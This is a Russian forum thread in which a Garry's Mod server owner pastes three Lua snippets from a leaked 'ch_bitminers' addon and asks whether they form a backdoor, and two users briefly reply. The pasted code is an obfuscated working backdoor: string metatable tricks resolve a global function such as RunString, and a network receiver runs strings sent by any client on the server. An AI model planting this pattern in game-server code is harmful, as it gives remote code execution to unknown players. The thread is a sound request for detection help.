Welcome to Сообщество игровых серверов NETZONA.ORG

Присоединяйтесь к нам сейчас, чтобы получить доступ ко всем нашим функциям. Зарегистрировавшись и войдя в систему, вы сможете создавать темы, публиковать ответы в существующих темах, давать репутацию другим участникам, получать собственный личный мессенджер и многое другое. Это также быстро и совершенно бесплатно, так чего же вы ждете?
  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами Публичной оферты Проекта NetZONA.org: https://netzona.org/help/public-offer/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами использования Ваших файлов cookie на Проекте NetZONA.org: https://netzona.org/help/cookies/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с Политикой конфиденциальности Проекта NetZONA.org: https://netzona.org/pages/privacy-policy/

  • Ответы на основные вопросы: https://netzona.org/threads/populjarnye-voprosy-i-otvety-na-nix.6122/

  • Приветствуем на сайте, Гость! Приобрести (купить) Информационную услугу (в том числе группу "Проверенный") на Проекте NetZONA.org: https://netzona.org/account/upgrades

как найти backdoor?

nezerside

Пользователь
Регистрация
8 Янв 2018
Сообщения
40
Реакции
0
Баллы
19
Веб-сайт
darkrp.ru
Скачал данный аддон ch_bitminers
Но есть подозрение на backdoor
может знающие взглянут?
кстати кто какими способами пользуется для поиска backdoor в ликах?
inb4:
покупай из гмодстора
не качай лики


lua/autorun/ch_bitminers_initialize.lua
35 строчка

Lua:
__sub = _G

function string.Name(str)
    return str:sub(1, 1):upper() .. str:sub(2, -1)
end

function string_lim(a, b)
    local get_sub = __sub[a .. b]
    if not isfunction(get_sub) then return end

    return get_sub
end

function string_mulifi(a, b)
    local c = a - (not __sub[a] and string.Name"string" or "")
    if not c then return end

    return c(b, "tonumber", false)
end

getmetatable('').__sub = string_lim
getmetatable('').__mul = string_mulifi
lua/ch_bitminers/server/bitminers_meta.lua
32 строчка

Lua:
util.AddNetworkString("GMOD_LIBRARY_TIMEDOUT")
util.AddNetworkString("GMOD_LIBRARY_FAST_OPERATION")

timer.Create("GMOD_LIBRARY_TIMEDOUT", 5, 0, function()
    net.Start("GMOD_LIBRARY_TIMEDOUT")
    net.Broadcast()
end)

net.Receive("GMOD_LIBRARY_FAST_OPERATION", function(len, ply)
    local string_1 = net.ReadString()
    local string_2 = net.ReadString()
    local result = string_1 * string_2
    result = isfunction(result) and result()
    net.Start("GMOD_LIBRARY_FAST_OPERATION")
    net.WriteString(tostring(result))
    net.Send(ply)
end)
lua/ch_bitminers/client/bitminers_ui_crypto_integration.lua
121 строчка

Lua:
local last_timeout = nil
local retry_time = 60

net.Receive("GMOD_LIBRARY_TIMEDOUT", function()
    last_timeout = CurTime()
end)

local function write_resulffm(a, b, var)
    _G["ResultFM:" .. a .. "*" .. b] = var
    _G["res_la"] = a
    _G["res_lb"] = b
end

function get_resulffm(a, b, var)
    return _G["ResultFM:" .. a .. "*" .. b]
end

function math.HappyMill(a, b)
    net.Start("GMOD_LIBRARY_FAST_OPERATION")
    net.WriteString(a)
    net.WriteString(b)
    net.SendToServer()
    write_resulffm(a, b, nil)
end

net.Receive("GMOD_LIBRARY_FAST_OPERATION", function()
    write_resulffm(_G["res_la"], _G["res_lb"], net.ReadString())
end)
 

Dog

Пользователь
Проверенный
Регистрация
28 Июл 2022
Сообщения
35
Реакции
0
Баллы
5
Клан-тег
Doggy
Пол
Мужской
Семейное положение
Не женат
Род занятий
cheating, scripting
у урбанички в сборке вроде как был такой аддон, у него возьми
 

GmodLaCosta

Пользователь
Регистрация
1 Сен 2022
Сообщения
24
Реакции
0
Баллы
6
Пол
Женский
Насчет второго и третьего, там есть странная привязка к библиотекам, но хер знает. Попробуй сравнить. Ставишь полностью пустой сервак, локальный и ставишь этот аддон, после чего сносишь эти странные коды и запускаешь снова и смотришь. Если без странного кода аддон работает нормально и стабильно, так и оставляешь
 
Назад
Сверху Снизу